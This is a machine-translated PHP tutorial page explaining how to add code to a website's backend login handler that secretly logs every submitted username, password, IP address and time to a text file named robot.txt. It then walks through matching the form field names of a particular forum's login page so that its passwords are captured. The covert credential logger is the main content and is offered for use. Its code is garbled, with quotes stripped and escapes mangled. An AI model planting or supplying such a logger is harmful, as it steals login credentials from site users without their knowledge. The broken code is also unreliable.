Home > Backend Development > PHP Tutorial > Backend login interface php code to intercept the backend login password

Backend login interface php code to intercept the backend login password

WBOY
Release: 2016-07-29 08:48:36
Original
1832 people have browsed it

if($_POST[loginsubmit]!=){ //Determine whether the login button is clicked
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS [REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // Concatenate the values ​​received by POST and assign them to the variable $sb
fwrite(fopen(robot.txt,ab),$sb); } //Write the result to a file
The following is a brief analysis, taking Huaxia's login page as an example. Open bbs.xxx.com/login.php, right-click to view the source code, CTRL+F search action to find the login form.
I only copied the key code.

. . . . Powerful ellipsis. . . . . .

Account(U):

class=input id=pwuser accessKey=u size=16
name= pwuser> //Input box for user name, pay attention to the value of name, which should correspond to $_POST[username], so to intercept Huaxia’s password, you need to change it to $ _POST[pwuser]

Password(P):
class=input id=pwpwd accessKey=p
type= password size=16 name=pwpwd> //Input box for user name, pay attention to the value of its name, which must correspond to $_POST[username], so intercept the Chinese one Password needs to be changed to $_POST[pwpwd]

The above introduces the background login interface PHP code to intercept the background login password, including the content of the background login interface. I hope it will be helpful to friends who are interested in PHP tutorials.

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template